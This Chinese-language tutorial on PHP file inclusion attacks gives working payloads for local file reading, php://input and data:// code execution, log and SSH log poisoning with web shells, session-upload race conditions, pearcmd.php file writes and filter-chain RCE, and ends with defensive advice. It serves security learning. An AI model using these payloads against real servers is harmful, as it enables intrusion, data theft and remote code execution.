PHP文件包含

PHP 文件包含漏洞(File Inclusion)指南

0x00 漏洞概述

文件包含漏洞(File Inclusion)是 Web 安全中一种常见且高危的漏洞。当 PHP 应用程序使用 includerequireinclude_oncerequire_once 等函数引入文件时,如果文件名(路径)由用户可控且未经过严格过滤,攻击者就可以通过构造恶意路径,让服务器包含并执行非预期的文件。

这可能导致:

  • 敏感信息泄露(LFI) :读取 /etc/passwd、数据库配置文件、源代码等。
  • 远程代码执行(RCE):通过包含包含恶意 PHP 代码的文件(如日志文件、上传的临时文件、Session 文件等),获得服务器权限。
  • 远程文件包含(RFI):如果配置允许,可直接包含远程服务器上的恶意脚本。

0x01 基础知识与环境

1. 核心函数

  • include($file) : 包含并运行指定文件。如果文件不存在,抛出 E_WARNING ,脚本继续执行
  • require($file) : 与 include 类似,但如果文件不存在,抛出 E_COMPILE_ERROR ,脚本停止执行
  • include_once($file): 如果文件已被包含过,则不会再次包含。
  • require_once($file): 如果文件已被包含过,则不会再次包含。

2. 关键配置 (php.ini)

配置项 默认值 (PHP 5.2+) 描述 影响
allow_url_fopen On 是否允许打开远程文件(如 http://ftp://)作为文件流。 影响 file:// 等部分协议。
allow_url_include Off 是否允许 include/require 远程文件。 影响 php://inputdata://http:// 等。RFI 的必要条件
open_basedir NULL 将 PHP 所能打开的文件限制在指定的目录树中。 防御 LFI 的有效手段。

0x02 基础利用与绕过

1. 基础 Payload

假设漏洞代码为:

php 复制代码
<?php include $_GET['file']; ?>
  • 本地文件读取 (Linux) : ?file=/etc/passwd
  • 本地文件读取 (Windows) : ?file=C:\Windows\win.ini

2. 目录遍历 (Path Traversal)

如果代码中预置了路径前缀:

php 复制代码
<?php include "lang/" . $_GET['file']; ?>

攻击者可以使用 ../ 回退目录:

  • ?file=../../../../etc/passwd

3. 后缀绕过

如果代码中强制添加了后缀:

php 复制代码
<?php include $_GET['file'] . ".php"; ?>
A. Null Byte 截断 (%00)
  • 条件 : PHP < 5.3.4 且 magic_quotes_gpc = Off
  • 原理 : PHP 底层 C 语言函数将 \0 视为字符串结束符。
  • Payload : ?file=../../etc/passwd%00
  • 解析 : 服务器实际看到的是 ../../etc/passwd\0.php,在 passwd 处截断。
B. 路径长度截断
  • 条件: PHP 版本较低(主要是 PHP 5.2.x)。
  • 原理: 操作系统对路径长度有限制(Windows 256 字节,Linux 4096 字节)。超过长度的部分会被丢弃。
  • Payload : ?file=../../etc/passwd/./././././...[重复数百次].../././.
  • 解析 : passwd 后的 .php 因为超出缓冲区长度被丢弃。
C. 协议利用 (zip://, phar://)
  • 原理 : 某些伪协议(如 zip://)允许通过 # 指定压缩包内的文件,# 后的内容作为压缩包内路径,代码拼接的 .php 不会影响 zip:// 对压缩包路径的解析(或者利用 # 截断)。
  • Payload : ?file=zip:///tmp/test.zip%23shell (代码自动拼接 .php -> shell.php)

0x03 PHP 伪协议 (Wrappers) 详解

PHP 提供了一系列 I/O 流包装器,熟练利用它们是利用文件包含漏洞的关键。

1. file://

  • 描述: 访问本地文件系统。
  • 依赖 : 不受 allow_url_fopenallow_url_include 限制。
  • Payload : ?file=file:///etc/passwd

2. php://filter (源码读取神器)

  • 描述: 这是一个元封装器,设计用于数据流打开时的筛选过滤。

  • 用途 : 读取 PHP 文件源码。直接 include PHP 文件会执行它,看不到源码;使用 base64-encode 过滤器可以将源码编码输出。

  • Payload :

    复制代码
    ?file=php://filter/read=convert.base64-encode/resource=config.php

    (解码 Base64 即可得到源码)

  • 进阶技巧 :

    • 绕过死亡 exit : 当 file_put_contents($file, "<?php exit();" . $content) 时,利用 filter 链(如 string.strip_tags 去除 XML 标签,或 convert.base64-decode 配合特定填充)将 exit() 破坏或解码为乱码。

3. php://input (RCE 神器)

  • 描述: 访问请求的原始数据的只读流。
  • 依赖 : allow_url_include = On
  • 用途: 执行 POST 数据中的 PHP 代码。
  • Payload :
    • URL : ?file=php://input
    • POST Data : <?php system('ls'); ?>

4. zip://, bzip2://, zlib:// (压缩流)

  • 描述: 访问压缩文件中的子文件。
  • 依赖 : 不受 allow_url_include 限制。
  • 场景: 可以上传 zip/jpg 文件,但无法直接包含时。
  • 利用 :
    1. 制作包含 <?php phpinfo(); ?>shell.php
    2. 压缩为 shell.zip,改名为 shell.jpg 上传。
    3. Payload : ?file=zip:///var/www/html/uploads/shell.jpg%23shell.php
      (注意: URL 中的 # 必须编码为 %23)

5. data:// (文本流)

  • 描述: RFC 2397 定义的数据流。
  • 依赖 : allow_url_fopen = Onallow_url_include = On
  • Payload :
    • ?file=data://text/plain,<?php phpinfo(); ?>
    • ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

0x04 进阶利用:环境资源投毒

当无法上传文件时,我们可以寻找服务器上已有的、内容可控的文件进行包含。

1. Web 日志投毒 (Apache/Nginx)

  • 原理: Web 服务器会将用户的请求信息(User-Agent, Referer, URL)记录在访问日志(access.log)或错误日志(error.log)中。
  • 利用步骤 :
    1. 确认日志路径 : 猜测常见路径(如 /var/log/apache2/access.log, /var/log/nginx/access.log)或通过 phpinfo / 读取配置文件获取。

    2. 注入恶意代码 : 使用 Netcat 或 Burp Suite 发送请求,将 User-Agent 修改为 PHP 代码。

      bash 复制代码
      nc target.com 80
      GET / HTTP/1.1
      Host: target.com
      User-Agent: <?php system($_GET['c']); ?>
    3. 包含日志 : ?file=/var/log/apache2/access.log&c=ls

  • 注意 :
    • 直接在浏览器修改 UA 可能会被 URL 编码,导致 PHP 代码失效,建议使用 Burp。
    • Docker 环境限制 : Docker 容器通常将日志重定向到 /dev/stdout/dev/stderr,PHP 默认没有权限包含这些设备文件,导致此法失效。

2. SSH 日志投毒

  • 原理 : SSH 登录失败时,用户名会被记录在 /var/log/auth.log
  • 利用步骤 :
    1. 使用恶意用户名尝试登录 SSH:

      bash 复制代码
      ssh '<?php system($_GET[c]); ?>'@target_ip
    2. 包含日志文件:
      ?file=/var/log/auth.log&c=ls

  • 依赖 : 目标开放 SSH 且 Web 用户(www-data)有权读取 /var/log/auth.log(通常需要 root 权限,但在某些配置不当的系统中可行)。

3. /proc/self/environ

  • 原理 : Linux 进程的 /proc/PID/environ 文件包含该进程的环境变量,self 指向当前进程。User-Agent 等 HTTP 头可能会出现在这里(取决于 CGI/FastCGI 配置)。
  • 利用 : 修改 User-Agent 注入代码,然后包含 /proc/self/environ
  • 现状: 现代系统和配置中,此文件通常不可读或不包含 User-Agent,成功率较低。

0x05 高级技巧:临时文件与条件竞争

如果无法利用日志,我们可以利用 PHP 或 Web 服务器处理请求时产生的临时文件

1. PHPInfo + LFI (条件竞争)

  • 原理 :
    • 当向 PHP 发送 multipart/form-data 请求(文件上传)时,无论后端是否处理上传,PHP 都会将文件暂存在临时目录(如 /tmp/phpXXXXXX)。
    • 该临时文件名在 phpinfo() 页面中是可见的(_FILES["file"]["tmp_name"])。
    • 请求结束后,临时文件被删除。
  • 利用 :
    • 攻击者并发发送大量请求:
      • 线程 A : 发送包含文件上传的请求给 phpinfo.php,并读取响应,提取临时文件名。
      • 线程 B: 拿到文件名后,迅速向存在 LFI 漏洞的页面发送请求包含该文件。
    • 技巧 : 在请求中加入大量垃圾数据(Padding),迫使 phpinfo 输出变慢,延长临时文件存活时间。
  • 适用场景 : 目标网站存在 phpinfo 页面。

2. Session Upload Progress (无需 phpinfo)

  • 原理 :

    • session.upload_progress.enabled 默认为 On。
    • 当 POST 请求包含 PHP_SESSION_UPLOAD_PROGRESS 字段时,PHP 会在上传过程中更新 Session 文件(如 /tmp/sess_[PHPSESSID])。
    • Session 内容包含我们传入的字段值(可控)。
    • session.upload_progress.cleanup 默认为 On,上传完成后立即清除 Session。
  • 利用 :

    1. 构造请求 : 发送 POST 请求,包含文件(大文件以延长上传时间)和 PHP_SESSION_UPLOAD_PROGRESS(值为 Payload)。
    2. 设置 Cookie : PHPSESSID=flag(指定 Session 文件名为 /tmp/sess_flag)。
    3. 条件竞争 : 在上传完成前(Session 被清除前),不断请求 LFI 页面包含 /tmp/sess_flag
  • Payload 示例 :

    python 复制代码
    # 伪代码逻辑
    while True:
        requests.post(url, 
            files={'f': ('a.txt', 'A'*10000)}, 
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("ls"); ?>'},
            cookies={'PHPSESSID': 'flag'}
        )
    # 并发线程:
    while True:
        requests.get(lfi_url + "?file=/tmp/sess_flag")

3. PHP 7 Segment Fault (崩溃保留临时文件)

  • 原理 :
    • 如果在文件上传请求处理过程中让 PHP 进程崩溃(Segment Fault),PHP 将来不及清理临时文件。
    • 这些临时文件会永久滞留在 /tmp 目录。
  • 触发崩溃 :
    • 利用 php://filter/string.strip_tags/resource=/etc/passwd (PHP 7.0 - 7.2 某些版本)。
    • 利用特定的 filter 组合触发内存错误。
  • 利用 :
    1. 发送会导致崩溃的请求,同时上传文件(包含 Payload)。
    2. 重复多次,使 /tmp 下积累多个名为 phpXXXXXX 的文件。
    3. 暴力破解文件名进行包含(Windows 下文件名只有 65535 种可能,Linux 下较难爆破但可结合其他信息)。

0x06 特定环境下的"奇技淫巧"

1. Windows 环境:通配符妙用

  • 背景 : PHP 在 Windows 下调用 FindFirstFileExW 查找文件,该 API 支持特殊的 DOS 通配符。
    • < (DOS_STAR): 匹配 0 个或多个字符。
    • > (DOS_QM): 匹配 1 个字符。
    • " (DOS_DOT): 匹配点号。
  • 利用 :
    • 上传文件产生临时文件(通常在 C:\Windows\Temp\phpXXXX.tmp)。
    • 我们不知道具体的 XXXX,但可以使用 php<< 来匹配。
  • Payload : ?file=C:\Windows\Temp\php<<
  • 解析 : php<< 会匹配到 php1A2B.tmp,从而成功包含。

2. Docker 环境:pearcmd.php 利用

  • 背景 :

    • Docker 的官方 PHP 镜像默认安装了 PEAR 扩展。
    • PEAR 的命令行工具位于 /usr/local/lib/php/pearcmd.php
    • Docker 容器中 register_argc_argv 默认为 On。
  • 原理 :

    • register_argc_argv=On 时,HTTP 请求的 Query String(如 ?key=value)在特定条件下(RFC 3875,无等号)会被解析为命令行参数 $argv
    • 包含 pearcmd.php 后,它会读取 $argv 并作为 PEAR 命令执行。
  • 利用 : 调用 PEAR 的 config-create 命令,将 Payload 写入文件。

  • Payload :

    http 复制代码
    GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php HTTP/1.1

    (解释: config-create 将第一个参数的内容写入到第二个参数指定的文件中)
    执行后,服务器会在 /tmp/shell.php 写入包含 phpinfo 的代码,随后包含该文件即可。

3. Nginx FastCGI 缓冲 (Temp File LFI)

  • 背景 :
    • 当 Nginx 接收到的 FastCGI 响应过大(超过 fastcgi_buffer_size)或请求 Body 过大时,会将内容写入临时文件。
    • 临时文件路径通常为 /var/lib/nginx/fastcgi/x/y/000...
    • 文件创建后会被 Nginx 立即删除(unlink),但只要 Nginx 进程未关闭该文件句柄(FD),文件内容仍在磁盘上。
  • 利用 :
    1. 触发缓存: 发送超大 Body 或让后端返回超大响应,迫使 Nginx 生成临时文件。
    2. 寻找文件 : 在 Linux 中,已删除但被进程打开的文件可以通过 /proc/PID/fd/FD_ID 访问。
    3. 竞争包含 :
      • 我们需要猜测 Nginx Worker 的 PID 和 FD 编号。
      • Payload: ?file=/proc/[PID]/fd/[FD]
      • 通过并发请求进行爆破和竞争。

4. require_once 绕过:多级软链接

  • 问题 : require_once 维护一个哈希表,记录已包含文件的 inode 或路径。如果想再次包含已被包含的敏感文件(例如为了结合 filter 读取 config.php 源码),会被拦截。
  • 技巧 : Linux 下 /proc/self/root 是指向根目录 / 的软链接。
  • 利用 :
    • 通过多层软链接改变文件路径,使其在 PHP 看来是一个"新文件",但实际指向同一个文件。

    • Payload :

      复制代码
      ?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php
    • 当软链接嵌套层数足够多时,可能会绕过 PHP 的某些缓存机制或路径规范化检查。


0x07 无文件 RCE:PHP Filter Chain (The End Of LFI)

这是一种不需要上传任何文件、不需要任何已有文件的 RCE 技术(hxp CTF 2021 提出)。

  • 原理 :

    • 利用 php://filter 的链式调用。
    • convert.iconv.* 过滤器在进行字符集转换时(如 UTF-8 转 UTF-7、UTF-8 转 ISO-2022-KR 等),会产生特定的字节序列。
    • 通过组合多种字符集转换,可以"凭空"生成任意的 Base64 字符。
    • 结合 convert.base64-decode,可以将生成的 Base64 字符串解码为 PHP 代码。
  • 利用 :

    • 不需要依赖任何外部文件,只需要能控制 include 的参数。
    • 使用工具生成超长的 filter 链。
  • 工具 : php_filter_chain_generator

  • Payload 示例 :

    复制代码
    ?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|...|resource=data://,a

0x08 防御建议

  1. 彻底杜绝变量覆盖 : 严禁直接将用户输入作为文件名传入 include/require

  2. 使用白名单 :

    php 复制代码
    $files = ['home' => 'home.php', 'about' => 'about.php'];
    if (array_key_exists($_GET['file'], $files)) {
        include $files[$_GET['file']];
    }
  3. 配置强化 (php.ini) :

    • open_basedir: 限制 PHP 只能访问特定目录。
    • allow_url_include = Off: 禁止远程文件包含。
  4. 关闭不必要的功能 : 如非必要,关闭 session.upload_progress.enabled

  5. WAF 拦截 : 过滤 ../, php://, /proc/, /var/log/ 等敏感关键字。


免责声明: 本文仅供网络安全学习与技术研究,请勿用于非法用途。

相关推荐
初次见面我叫泰隆1 小时前
Qt——1、初识Qt
开发语言·c++·qt
Arms2062 小时前
python时区库学习
开发语言·python·学习
无名的小三轮2 小时前
第二章 信息安全概述
开发语言·php
清水白石0082 小时前
深入 Python 对象模型:PyObject 与 PyVarObject 全解析
开发语言·python
独自破碎E2 小时前
说说Java中的反射机制
java·开发语言
吃不吃早饭2 小时前
深入浅出:HTTPS 安全机制 + PHP 文件包含与伪协议全解析
安全·https·php
一直都在5722 小时前
SpringBoot3 框架快速搭建与项目工程详解
java·开发语言
子云之风2 小时前
LSPosed 项目编译问题解决方案
java·开发语言·python·学习·android studio
lendsomething2 小时前
graalvm使用实战:在java中执行js脚本
java·开发语言·javascript·graalvm